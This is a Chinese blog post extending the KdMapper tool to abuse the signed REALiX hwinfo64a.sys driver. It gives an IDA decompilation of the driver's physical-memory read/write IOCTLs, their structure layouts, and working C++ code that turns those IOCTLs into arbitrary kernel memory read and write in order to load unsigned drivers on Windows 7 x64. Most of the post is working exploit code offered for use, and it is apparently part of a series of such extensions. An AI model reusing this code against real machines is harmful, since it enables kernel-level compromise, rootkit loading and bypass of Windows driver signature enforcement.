首页 > 其他分享 >KdMapper扩展实现之REALiX(hwinfo64a.sys)

KdMapper扩展实现之REALiX(hwinfo64a.sys)

时间:2023-10-10 16:16:31浏览次数:40  
标签:INFO HWINFO64A READ hwinfo64a sys REALiX MEMORY PhysicalAddress PHYSICAL

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

 

2.驱动信息

 

驱动名称 hwinfo64a.sys 
时间戳 54720A27
MD5 E5805896A55D4166C20F216249F40FA3
文件版本 8.98.0.0
设备名称 \\.\HWiNFO32
读物理内存 0x85FE2608
写物理内存 0x85FE2668
Windows 7 支持
Windows 10 不支持
Windows 11 不支持

 

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
        NTSTATUS result; // eax
        int v4; // ebx
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
        struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+80h] [rbp+18h] BYREF

        RtlInitUnicodeString(&DestinationString, L"\\Device\\HWiNFO32");
        result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0, 0, &DeviceObject);
        if (result >= 0)
        {
                DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_113C0;
                DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_113C0;
                DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
                DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_1370C;
                RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\HWiNFO32");
                v4 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
                if (v4 >= 0)
                {
                        Lock = 0i64;
                        UnicodeString.Length = 0;
                        ListHead.Blink = &ListHead;
                        ListHead.Flink = &ListHead;
                        UnicodeString.Buffer = 0i64;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                }
                result = v4;
        }
        return result;
}

 

3.2 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp, __int64 a3, __int64 a4)
{
        _IO_STACK_LOCATION* pIosp; // r12
        unsigned int nIoControlCode; // eax
        NTSTATUS ntStatus; // ebx
        HWINFO64A_READ_PHYSICAL_MEMORY_INFO* pReadPhysicalMemoryInfo; // rbx
        PVOID pMappedIoSpace; // rax
        HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO* pWritePhysicalMemoryInfo; // rbx
        _DWORD* pMappedIoSpaceWrite; // rax
        struct _IO_STATUS_BLOCK IoStatusBlock; // [rsp+108h] [rbp-90h] BYREF
        struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+118h] [rbp-80h] BYREF
        struct _UNICODE_STRING DestinationString; // [rsp+148h] [rbp-50h] BYREF

        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        if (nIoControlCode > 0x85FE2658)
        {
                if (nIoControlCode <= 0x85FE2684)
                {
                        case 0x85FE2668:
                                pWritePhysicalMemoryInfo = (HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 写物理内存,一次一个DWORD大小
                                pMappedIoSpaceWrite = MapIoSpaceList(pWritePhysicalMemoryInfo->PhysicalAddress, 4ui64);
                                if (pMappedIoSpaceWrite)
                                {
                                        *pMappedIoSpaceWrite = pWritePhysicalMemoryInfo->Data;
                                        ntStatus = 0;
                                        pIrp->IoStatus.Information = 16i64;
                                }
                                else
                                {
                                        ntStatus = 0xC0000001;
                                        pIrp->IoStatus.Information = 0i64;
                                }
                                goto LABEL_389;

                        case 0x85FE2608:
                                pReadPhysicalMemoryInfo = (HWINFO64A_READ_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// 读物理内存
                                pMappedIoSpace = MapIoSpaceList(pReadPhysicalMemoryInfo->PhysicalAddress, pReadPhysicalMemoryInfo->nSize);
                                if (pMappedIoSpace)
                                {
                                        memmove(pReadPhysicalMemoryInfo->ReadBuffer, pMappedIoSpace, pReadPhysicalMemoryInfo->nSize);
                                        ntStatus = 0;
                                        pIrp->IoStatus.Information = 0x10010i64;
                                }
                                else
                                {
                                        ntStatus = 0xC0000001;
                                        pIrp->IoStatus.Information = 0i64;
                                }
                                goto LABEL_389;
                }
        }
LABEL_389:
        pIrp->IoStatus.Status = ntStatus;
        IofCompleteRequest(pIrp, 0);
        return (unsigned int)ntStatus;
}
  • 读物理内存 0x85FE2608

  从 HWINFO64A_READ_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 复制数据到 ATILLK_PHYSICAL_MEMORY_INFO 的内容地址 ReadBuffer 。

  由第 43 行的代码   pIrp->IoStatus.Information = 0x10010i64 可以看出,读取的代码的缓冲区大小为 0x10010,在实现代码逻辑时决定定义缓冲大小为 0x10010,实际的最大读取大小为 0x10000,方便处理。

  • 写物理内存 0x85FE2668

  从 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的内容 Data 复制数据到 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO 的物理地址 PhysicalAddress 。

  由第 25 行可以看出每次写入物理地址的大小为一个 DWORD,对于数据量大的要分批进行写入。

 

3.3 MapIoSpaceList

PVOID __fastcall MapIoSpaceList(PHYSICAL_ADDRESS PhysicalAddress, SIZE_T Size)
{
        KIRQL oldIrql; // al
        _LIST_ENTRY* pListEntry; // rbx
        PVOID pMappedIoSpace; // rbx
        MAP_IO_SPACE_LIST_INFO* pListInfo; // rdx

        if (!PhysicalAddress.QuadPart || !Size)
                return 0i64;
        oldIrql = KeAcquireSpinLockRaiseToDpc(&Lock);
        pListEntry = ListHead.Flink;
        if (ListHead.Flink == &ListHead)
        {
        LABEL_7:
                KeReleaseSpinLock(&Lock, oldIrql);
                pMappedIoSpace = MmMapIoSpace(PhysicalAddress, Size, MmNonCached);
                if (pMappedIoSpace)
                {
                        pListInfo = (MAP_IO_SPACE_LIST_INFO*)ExAllocatePoolWithTag(NonPagedPool, 0x28ui64, 0x4D4D4D4Du);
                        if (pListInfo)
                        {
                                pListInfo->MappedAddress = pMappedIoSpace;
                                pListInfo->Size = Size;
                                pListInfo->PhysicalAddress = PhysicalAddress;
                                ExInterlockedInsertTailList(&ListHead, &pListInfo->ListEntry, &Lock);
                                return pMappedIoSpace;
                        }
                }
                return 0i64;
        }
        while (pListEntry[1].Flink != (_LIST_ENTRY*)PhysicalAddress.QuadPart || (_LIST_ENTRY*)Size > pListEntry[1].Blink)
        {
                pListEntry = pListEntry->Flink;
                if (pListEntry == &ListHead)
                        goto LABEL_7;
        }
        KeReleaseSpinLock(&Lock, oldIrql);
        return pListEntry[2].Flink;
}

  由代码可以看出该函数是调用 MmMapIoSpace 映射物理地址,然后加入一个链表,下次再映射相同地址时可以直接返回。同时该链表在驱动卸载时进行 MmUnmapIoSpace 取消映射。

  由代码第 8  行可以看出,对于映射物理地址为 0 的时候返回失败,所以在最终代码中对于 0 地址的映射要跳过,或做其它相关判断的处理。

 

3.4 HWINFO64A_READ_PHYSICAL_MEMORY_INFO结构

00000000 HWINFO64A_READ_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xD, copyof_381)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 nSize           dd ?
0000000C ReadBuffer      db ?
0000000D HWINFO64A_READ_PHYSICAL_MEMORY_INFO ends

 

3.5 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO结构

00000000 HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO struc ; (sizeof=0xC, copyof_384)
00000000 PhysicalAddress PHYSICAL_ADDRESS ?
00000008 Data            dd ?
0000000C HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO ends

 

3.6 MAP_IO_SPACE_LIST_INFO结构

0000000 MAP_IO_SPACE_LIST_INFO struc ; (sizeof=0x28, copyof_387)
00000000 ListEntry       LIST_ENTRY ?
00000010 PhysicalAddress PHYSICAL_ADDRESS ?
00000018 Size            dq ?
00000020 MappedAddress   dq ?                    ; offset
00000028 MAP_IO_SPACE_LIST_INFO ends

 

3.7 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》

 

4. 代码实现

4.1 .h文件

#pragma pack(push)
#pragma pack(1)

        typedef struct _HWINFO64A_READ_PHYSICAL_MEMORY_INFO 
        {
                PHYSICAL_ADDRESS PhysicalAddress;
                ULONG Size;
                BYTE ReadBuffer[1];
        } HWINFO64A_READ_PHYSICAL_MEMORY_INFO, *PHWINFO64A_READ_PHYSICAL_MEMORY_INFO;

        typedef struct _HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO {
                PHYSICAL_ADDRESS PhysicalAddress;
                DWORD Data;
        } HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO, * PHWINFO64A_WRITE_PHYSICAL_MEMORY_INFO;

#pragma pack(pop)

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif

#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif

#define ATILLK64_DEVICE_TYPE          (DWORD)0x9C40
#define ATILLK64_READ_PHYSICAL_MEMORY	(DWORD)0x951 
#define ATILLK64_WRITE_PHYSICAL_MEMORY	(DWORD)0x952
#define ATILLK64_UNMAP_PHYSICAL_MEMORY_WITH_UNMAP_FUNCID (DWORD)0x959

#define HWINFO64A_DEVICE_TYPE          (DWORD)0x85FE
#define HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x982
#define HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x99A

#define READ_BUFFER_SIZE		(0x10010)
#define READ_SIZE_LIMIT			(0X10000)

#define IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY      \
    CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2608

#define IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(HWINFO64A_DEVICE_TYPE, HWINFO64A_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x85FE2668

 

4.2 .c文件

NTSTATUS realix_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);

        if (ntStatus == STATUS_PENDING) {

                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }

        if (IoStatus)
                *IoStatus = ioStatus;

        return ntStatus;
}

BOOL realix_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;

        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);

        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}

BOOL WINAPI realix_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;

        __try {

                if (DoWrite) {
                        //写物理内存每次只能写四个字节 

                        DWORD dwLoopCount = NumberOfBytes / sizeof(ULONG);
                        DWORD dwRemainingSize = NumberOfBytes % sizeof(ULONG);
                        HWINFO64A_WRITE_PHYSICAL_MEMORY_INFO writeRequest = { 0 };
                        DWORD dwIndex = 0;
                        for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
                        {
                                DWORD dwData = *((DWORD*)((PUCHAR)Buffer + dwIndex * sizeof(DWORD)));
                                writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
                                writeRequest.Data = dwData;
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
                                        &writeRequest,
                                        sizeof(writeRequest),
                                        &writeRequest,
                                        sizeof(writeRequest));
                                if (!bResult)
                                {
                                        Log(L"[!] Error WritePhysicalMemory 1!" << std::endl);
                                        break;
                                }
                        }
                        if ((dwLoopCount == 0) || (bResult))
                        {
                                if (dwRemainingSize != 0)
                                {
                                        DWORD dwData = 0;
                                        ULONG ulBufferSize = READ_BUFFER_SIZE;/*sizeof(HWINFO64A_READ_PHYSICAL_MEMORY_INFO) + sizeof(DWORD);*/
                                        PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(ulBufferSize);
                                        RtlZeroMemory(pReadRequest, ulBufferSize);
                                        pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
                                        pReadRequest->Size = sizeof(DWORD);
                                        bResult = SuperCallDriver(DeviceHandle,
                                                IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
                                                pReadRequest,
                                                ulBufferSize,
                                                pReadRequest,
                                                ulBufferSize);
                                        if (bResult)
                                        {
                                                dwData = *((DWORD*)pReadRequest->ReadBuffer);
                                                RtlCopyMemory(&dwData, (PUCHAR)Buffer + dwIndex * sizeof(DWORD), dwRemainingSize);

                                                writeRequest.PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * sizeof(DWORD);
                                                writeRequest.Data = dwData;
                                                bResult = SuperCallDriver(DeviceHandle,
                                                        IOCTL_HWINFO64A_WRITE_PHYSICAL_MEMORY,
                                                        &writeRequest,
                                                        sizeof(writeRequest),
                                                        &writeRequest,
                                                        sizeof(writeRequest));
                                                if (!bResult)
                                                {
                                                        Log(L"[!] Error WritePhysicalMemory 2!" << std::endl);
                                                }
                                        }
                                        else
                                        {
                                                Log(L"[!] Error Read Physical Memory in WritePhysicalMemory!" << std::endl);
                                        }
                                        free(pReadRequest);
                                        pReadRequest = NULL;

                                }

                        }

                }
                else {
                        DWORD dwLoopCount = NumberOfBytes / READ_SIZE_LIMIT;
                        DWORD dwRemainingSize = NumberOfBytes % READ_SIZE_LIMIT;

                        DWORD dwIndex = 0;
                        for (dwIndex = 0; dwIndex < dwLoopCount; dwIndex++)
                        {
                                PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
                                RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
                                pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
                                pReadRequest->Size = READ_SIZE_LIMIT;
                                bResult = SuperCallDriver(DeviceHandle,
                                        IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
                                        pReadRequest,
                                        READ_BUFFER_SIZE,
                                        pReadRequest,
                                        READ_BUFFER_SIZE);
                                if (bResult)
                                {
                                        RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, READ_SIZE_LIMIT);
                                }
                                else
                                {
                                        Log(L"[!] Error Read Physical Memory 1 in ReadPhysicalMemory!" << std::endl);
                                }
                                free(pReadRequest);
                        }
                        if ((dwLoopCount == 0) || (bResult))
                        {
                                if (dwRemainingSize != 0)
                                {

                                        PHWINFO64A_READ_PHYSICAL_MEMORY_INFO pReadRequest = (PHWINFO64A_READ_PHYSICAL_MEMORY_INFO)malloc(READ_BUFFER_SIZE);
                                        if (pReadRequest)
                                        {
                                                RtlZeroMemory(pReadRequest, READ_BUFFER_SIZE);
                                                pReadRequest->PhysicalAddress.QuadPart = PhysicalAddress + dwIndex * READ_SIZE_LIMIT;
                                                pReadRequest->Size = dwRemainingSize;
                                                bResult = SuperCallDriver(DeviceHandle,
                                                        IOCTL_HWINFO64A_READ_PHYSICAL_MEMORY,
                                                        pReadRequest,
                                                        READ_BUFFER_SIZE,
                                                        pReadRequest,
                                                        READ_BUFFER_SIZE);
                                                if (bResult)
                                                {
                                                        RtlCopyMemory((PUCHAR)Buffer + dwIndex * READ_SIZE_LIMIT, pReadRequest->ReadBuffer, dwRemainingSize);
                                                }
                                                else
                                                {
                                                        Log(L"[!] Error Read Physical Memory 2 in ReadPhysicalMemory!" << std::endl);
                                                }
                                                free(pReadRequest);
                                                pReadRequest = NULL;
                                        }
                                        else
                                        {
                                                Log(L"[!] SuperReadWritePhysicalMemory read physical memory malloc failed!" << std::endl);
                                        }
                                }

                        }
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }


        SetLastError(dwError);
        return bResult;
}

BOOL WINAPI realix_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}

BOOL WINAPI realix_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}

BOOL WINAPI realix_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);

        }

        return bResult;
}

BOOL WINAPI realix_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;

        SetLastError(ERROR_SUCCESS);

        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);

        if (bResult) {

                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);

        }

        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》

 

5. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》

  

 

6.特别提示

  使用hwinfo64a.sys制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

标签:INFO,HWINFO64A,READ,hwinfo64a,sys,REALiX,MEMORY,PhysicalAddress,PHYSICAL
From: https://www.cnblogs.com/ImprisonedSoul/p/17754216.html

相关文章

  • System.NotSupportedException:“无法显式设置 SplitterPanel 的高度。改在 SplitCont
    System.NotSupportedException:“无法显式设置SplitterPanel的高度。改在SplitContainer上设置SplitterDistance。”这个错误信息是在使用SplitContainer控件时出现的。它表明您尝试显式设置SplitterPanel的高度,但这是不支持的操作,应该在SplitContainer上设置Splitte......
  • zTT@MobiSys '21
    这篇工作还是做的是一个DVFS技术,来动态调整CPU/GPU的电压和频率,达到节能、控温。1.introduction传统的DVFS技术主要停留在操作系统内核层面,与应用程序无关。但是不同的应用的需求决定了它们的最佳的CPU,GPU的功耗分布。一些DVFS无法摆脱过热的问题。这里举例(图1):手机芯片一旦......
  • Math、System、Runtime //BigDecimal、Date、SimpleDaateFormat、Calendar
    1、Math =======================================================================================BigDecimal 1、构造器publicBigDecimal(Stringval)publicclassBigDecimalDemo01{publicstaticvoidmain(String[]args){//目标:掌握BigDecimal的......
  • 模型视图简介、QListWidget、QTreeWidget、QTableWidget、QStringListModel、QFileSys
    一、模型视图简介   有时,我们的系统需要显示大量数据,比如从数据库中读取数据,以自己的方式显示在自己的应用程序的界面中。早期的Qt要实现这个功能,需要定义一个组件,在这个组件中保存一个数据对象,比如一个列表。我们对这个列表进行查找、插入等的操作,或者把修改的地方写回,然后......
  • 2023-02-06Fix dual system time problem copy
    +++title="Fixdualsystemtimeproblem"description=""date=2023-02-06T14:21:50+08:00featured=falsecomment=truetoc=truereward=truecategories=[""]tags=["ubuntu"]series=[]images=[]+......
  • (2023年新疆大学、中科院等点云分类最新综述) Deep learning-based 3D point cloud cl
    目录1、引言2、3D数据2.1、3D数据表示形式2.2、点云数据存储格式2.3、3D点云公共数据集3、基于深度学习的点云分类方法3.1、基于多视角的方法3.2、基于体素的方法3.3、基于点云的方法3.3.1局部特征聚合3.3.1.1基于逐点处理的方法3.3.1.2基于卷积的方法3.3.1.3基于图的方法3.3.1......
  • python3_sys
    1、sys._getframe()用于查看函数被什么函数调用以及被第几行调用及被调用函数所在文件Python利用sys._getframe()实现虚构代码运行,控制函数的执行时机-CSDN博客f_back:链路中的上一个函数对象f_locals:函数携带的请求参数f_code:当前code信息,包括函数名代码位置等信息im......
  • Linux file system All In One
    LinuxfilesystemAllInOne图解Linux文件系统filetype-fileddirectorybblocklsymbollink(softlink/hardlink)filepermissions3个字组,共三组;userpermission用户权限grouppermission组权限otherpermission其他权限每组符号表示的含义......
  • ORA-12012 Error on auto execute of job "SYS"."ORA$AT_OS_OPT_SY_<NN> in 12.2 Dat
    1错误2023-10-08T13:11:12.127171+08:00Errorsinfile/oracle/diag/rdbms/arch/ARCH2/trace/ARCH2_j000_305066.trc:ORA-12012:erroronautoexecuteofjob"SYS"."ORA$AT_OS_OPT_SY_154038"ORA-20001:StatisticsAdvisor:Invalidtasknamefo......
  • Easysearch 压缩功能的显著提升:从 8.7GB 到 1.4GB
    引言在海量数据的存储和处理中,索引膨胀率是一个不可忽视的关键指标。它直接影响了存储成本和查询性能。近期,Easysearch在这方面取得了显著的进展,其压缩功能的效果远超过了之前的版本。本文将详细介绍这一进展。Easysearch各版本压缩性能对比根据之前文章的数据,Easysearchv1.......